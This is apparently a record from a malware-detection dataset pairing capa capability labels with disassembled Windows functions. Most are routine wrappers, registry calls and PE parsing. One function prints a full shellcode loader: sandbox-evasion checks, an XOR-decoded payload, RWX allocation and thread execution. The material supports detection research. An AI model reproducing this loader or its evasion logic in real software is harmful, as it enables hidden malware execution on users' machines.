joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008afac
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
cmp qword [rcx + 8], 0
jne 0x14008a6ce
xor eax, eax
add rsp, 0x28
ret
call fcn.14008a6e0
mov rcx, rax
add rsp, 0x28
jmp 0x14008afac
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x140276d30]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x140271c70]
test eax, eax
je 0x14008aff7
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x14008b000
call fcn.140028498
test eax, eax
je 0x14008b01c
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14008b024
xor eax, eax
jmp 0x14008b081
test rbx, rbx
jne 0x14008b044
lea rcx, str.ImageList_Destroy
call fcn.140038028
mov rbx, rax
test rax, rax
je 0x14008b04f
mov qword [0x140276d30], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x14008b064
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14008b066
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14008b07f
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14008b098
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x50
mov r14d, r9d
mov r15d, r8d
mov r12, rdx
mov r13, rcx
xor esi, esi
mov qword [rax - 0x20], rsi
mov rbx, qword [0x140276d38]
and qword [rax - 0x28], rsi
xor edi, edi
mov eax, dword [0x140271c70]
test eax, eax
je 0x14008b0f5
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x14008b0fe
call fcn.140028498
test eax, eax
je 0x14008b11a
lea rdx, [rsp + 0x40]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne edi, ecx
test edi, edi
jne 0x14008b125
xor eax, eax
jmp 0x14008b1b0
test rbx, rbx
jne 0x14008b145
lea rcx, str.ImageList_LoadImageA
call fcn.140038028
mov rbx, rax
test rax, rax
je 0x14008b17c
mov qword [0x140276d38], rax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x20], eax
mov r9d, r14d
mov r8d, r15d
mov rdx, r12
mov rcx, r13
call rbx
mov rsi, rax
mov qword [rsp + 0x48], rax
xor ebx, ebx
test rsi, rsi
sete bl
test ebx, ebx
je 0x14008b192
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14008b194
xor edi, edi
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14008b1ad
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rsi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
Function at 0x14010fbd8
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x140279508]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x140271c70]
test eax, eax
je 0x14010fc23
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x14010fc2c
call fcn.140028498
test eax, eax
je 0x14010fc48
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14010fc50
xor eax, eax
jmp 0x14010fcad
test rbx, rbx
jne 0x14010fc70
lea rcx, str.ChooseColorA
call fcn.14002db3c
mov rbx, rax
test rax, rax
je 0x14010fc7b
mov qword [0x140279508], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x14010fc90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14010fc92
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14010fcab
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14011683c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x140279700]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x140271c70]
test eax, eax
je 0x140116887
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x140116890
call fcn.140028498
test eax, eax
je 0x1401168ac
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x1401168b4
xor eax, eax
jmp 0x140116911
test rbx, rbx
jne 0x1401168d4
lea rcx, str.PrintDlgA
call fcn.14002db3c
mov rbx, rax
test rax, rax
je 0x1401168df
mov qword [0x140279700], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x1401168f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1401168f6
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14011690f
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14011d06c
Capabilities:
Delete registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x14011d19c
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x38
mov rcx, qword [rcx + 8]
lea rax, [r11 + 8]
lea r9, [r11 + 0x20]
mov qword [r11 - 0x10], rax
mov qword [r11 - 0x18], r8
xor r8d, r8d
mov dword [rsp + 0x40], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor edx, edx
test eax, eax
jne 0x14011d1de
mov ecx, dword [rsp + 0x58]
sub ecx, 4
neg ecx
sbb eax, eax
and eax, 0xd
test eax, eax
sete dl
mov eax, edx
add rsp, 0x38
ret

Function at 0x14011d5cc
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x14011d69e
test rbx, rbx
je 0x14011d6a4
test r9, r9
je 0x14011d6aa
and qword [r8], 0
and dword [r9], 0
mov rcx, qword [rcx + 8]
mov qword [rax - 0x10], r9
and qword [rax - 0x18], 0
lea r9, [rax + 0x10]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14011d687
cmp dword [rsp + 0x48], 3
jne 0x14011d687
test eax, eax
jne 0x14011d687
cmp dword [rdi], eax
je 0x14011d687
mov ecx, dword [rdi]
call fcn.14002651c
lea r9, [rsp + 0x48]
xor r8d, r8d
mov qword [rbx], rax
mov rcx, qword [rbp + 8]
mov rdx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14011d67b
cmp dword [rsp + 0x48], 3
jne 0x14011d67b
test eax, eax
jne 0x14011d67b
mov eax, 1
jmp 0x14011d689
mov rcx, qword [rbx]
call fcn.140026568
and qword [rbx], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
call fcn.1400265bc
int3
call fcn.1400265bc
int3
call fcn.1400265bc
int3

Function at 0x14011d964
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x14011d975
xor eax, eax
jmp 0x14011d9a3
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x14011d9ac
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x14011d9bd
xor eax, eax
jmp 0x14011d9e1
mov rcx, qword [rcx + 8]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret
Function at 0x14016f8d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test byte [rdx + 4], 1
mov esi, r8d
mov rbx, rdx
mov rbp, rcx
je 0x14016f8fd
mov rdi, qword [rdx + 0x10]
jmp 0x14016f94e
mov rdx, qword [rdx + 0x10]
mov rcx, qword [rbx + 8]
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
jne 0x14016f91e
call fcn.14003b300
mov rcx, qword [rbx + 8]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x14016f938
call fcn.14003b300
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x14016f94e
call fcn.14003b300
call fcn.1400291dc
cmp qword [rax + 0x68], 0
je 0x14016f968
mov rdx, rdi
mov rcx, rbp
call fcn.14016ee5c
mov rdi, rax
mov edx, esi
mov rcx, rdi
call fcn.14016fbcc
mov rcx, qword [rbp + 0xe8]
mov rsi, rax
test rcx, rcx
je 0x14016f98f
call qword [sym.imp.KERNEL32.dll_GlobalFree]
and qword [rbp + 0xe8], 0
test rsi, rsi
je 0x14016f99e
mov rdi, rsi
mov qword [rbp + 0xe8], rsi
or dword [rbx + 4], 1
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14016fd3c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rdi, rcx
xor ebx, ebx
mov qword [rax - 0x18], rbx
mov r14, qword [0x14027a718]
and qword [rax + 8], rbx
xor esi, esi
mov eax, dword [0x140271c70]
test eax, eax
je 0x14016fd88
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x14016fd91
call fcn.140028498
test eax, eax
je 0x14016fdad
lea rdx, [rsp + 0x40]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14016fdb8
xor eax, eax
jmp 0x14016fe3c
test r14, r14
jne 0x14016fdd5
lea rcx, str.CreatePropertySheetPageA
call fcn.140170038
test rax, rax
je 0x14016fe07
mov qword [0x14027a718], rax
mov eax, dword [rdi + 4]
mov ecx, 0x4000
test ecx, eax
jne 0x14016fdf6
cmp dword [rdi], 0x60
jb 0x14016fdf6
or eax, ecx
mov dword [rdi + 4], eax
mov rax, qword [0x1402683c8]
mov qword [rdi + 0x58], rax
mov rcx, rdi
call qword [0x14027a718]
mov rbx, rax
mov qword [rsp + 0x20], rax
xor edi, edi
test rbx, rbx
sete dil
test edi, edi
je 0x14016fe1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14016fe20
xor esi, esi
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test edi, edi
je 0x14016fe39
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14016fe54
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x14027a720]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x140271c70]
test eax, eax
je 0x14016fe9f
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x14016fea8
call fcn.140028498
test eax, eax
je 0x14016fec4
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14016fecc
xor eax, eax
jmp 0x14016ff29
test rbx, rbx
jne 0x14016feec
lea rcx, str.DestroyPropertySheetPage
call fcn.140170038
mov rbx, rax
test rax, rax
je 0x14016fef7
mov qword [0x14027a720], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x14016ff0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14016ff0e
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14016ff27
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14016ff40
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
or rdi, 0xffffffffffffffff
mov qword [rax - 0x18], rdi
mov rbx, qword [0x14027a728]
and qword [rax + 0x10], 0
xor esi, esi
mov eax, dword [0x140271c70]
test eax, eax
je 0x14016ff8f
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x140271c70]
test eax, eax
jne 0x14016ff98
call fcn.140028498
test eax, eax
je 0x14016ffb4
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1402683c8]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14016ffbe
or rax, 0xffffffffffffffff
jmp 0x140170020
test rbx, rbx
jne 0x14016ffde
lea rcx, str.PropertySheetA
call fcn.140170038
mov rbx, rax
test rax, rax
je 0x14016ffeb
mov qword [0x14027a728], rax
mov rcx, r14
call rbx
mov rdi, rax
mov qword [rsp + 0x20], rax
xor ebx, ebx
cmp rdi, 0xffffffffffffffff
sete bl
test ebx, ebx
je 0x140170002
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x140170004
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14017001d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14019804c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140197eb4
Function at 0x1401ae778
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1401ae78e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1401ae790
xor eax, eax
test eax, eax
je 0x1401ae7a0
mov ecx, eax
call fcn.14019d4cc
or eax, 0xffffffff
jmp 0x1401ae7a2
xor eax, eax
add rsp, 0x28
ret
Function at 0x401540
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x3e7
jg 0x401582
mov eax, 0
jmp 0x401587
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x40158d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hide graphical window
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x61d00
call fcn.00402750
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00401850
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x61c70], rax
mov rax, qword [rbp + 0x61c70]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rcx, str.vubqlr4xk61.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x61c68], rax
cmp qword [rbp + 0x61c68], 0
je 0x4015fb
mov eax, 0
jmp 0x401789
call fcn.00401540
test eax, eax
je 0x401784
mov qword [rbp + 0x61c60], 0
mov ecx, 0x5f5e100
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x61c60], rax
cmp qword [rbp + 0x61c60], 0
je 0x401784
mov rax, qword [rbp + 0x61c60]
mov r8d, 0x5f5e100
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp + 0x61c60]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp - 0x50]
lea rdx, [0x00404010]
mov ecx, 0x30e47
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
movabs rax, 0x6e6172696d616b
mov qword [rbp + 0x61c50], rax
mov dword [rbp + 0x61c7c], 0
mov dword [rbp + 0x61c78], 0
jmp 0x4016ec
cmp dword [rbp + 0x61c7c], 7
jne 0x4016b0
mov dword [rbp + 0x61c7c], 0
mov eax, dword [rbp + 0x61c78]
cdqe
movzx edx, byte [rbp + rax - 0x50]
mov eax, dword [rbp + 0x61c7c]
cdqe
movzx eax, byte [rbp + rax + 0x61c50]
xor edx, eax
mov eax, dword [rbp + 0x61c78]
cdqe
mov byte [rbp + rax + 0x30e00], dl
add dword [rbp + 0x61c7c], 1
add dword [rbp + 0x61c78], 1
mov eax, dword [rbp + 0x61c78]
cmp eax, 0x30e46
jbe 0x40169d
mov r9d, reloc.winhttp.dll_WinHttpCrackUrl
mov r8d, 0x1000
mov edx, 0x30e47
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x61c58], rax
mov rax, qword [rbp + 0x61c58]
mov rcx, rax
lea rax, [rbp + 0x30e00]
mov edx, 0x30e47
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x61c58]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call fcn.00401540
test eax, eax
jne 0x401774
mov eax, 0
jmp 0x401789
mov eax, 0
add rsp, 0x61d00
pop rbp
ret
Function at 0x401a70
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402840
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402840
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x401ae0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x004380c4]
mov r12, rcx
test ebx, ebx
jle 0x401c10
mov rax, qword [0x004380c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x401b2c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401bb3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x401b10
mov rcx, r12
call fcn.00402490
mov rsi, rax
test rax, rax
je 0x401c32
mov rax, qword [0x004380c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.004025c0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004380c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401c17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401bac
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x401bc0
add dword [0x004380c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, reloc.winhttp.dll_WinHttpCrackUrl
cmovne r8d, eax
add rbx, qword [0x004380c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401bac
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401a70
nop dword [rax]
xor ebx, ebx
jmp 0x401b37
mov rax, qword [0x004380c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00401a70
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401a70
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x402100
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00438120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00438100]
test rbx, rbx
je 0x402154
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40214b
test r12, r12
je 0x40214b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402130
lea rcx, [0x00438120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402490
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [sym.imp.winhttp.dll_WinHttpOpenRequest]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4024b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4024b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4024b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x402505
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x4024fc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4024b0
add rax, 0x28
cmp rax, r9
jne 0x4024e8
xor eax, eax
ret

Function at 0x402510
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [sym.imp.winhttp.dll_WinHttpOpenRequest]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402530
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x402538
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x402530
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x4025c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [sym.imp.winhttp.dll_WinHttpOpenRequest]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4025e0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x4025e8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x401465
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x004ab710]
mov dword [rax], 1
mov rax, qword [0x004ab720]
mov dword [rax], 1
mov rax, qword [0x004ab730]
mov dword [rax], 1
mov rax, qword [0x004ab700]
mov dword [rax], 1
mov rax, qword [0x004ab580]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x4014c3
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x4014ef
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x401515
cmp eax, 0x20b
je 0x40153c
jmp 0x40156b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x401528
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x401570
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
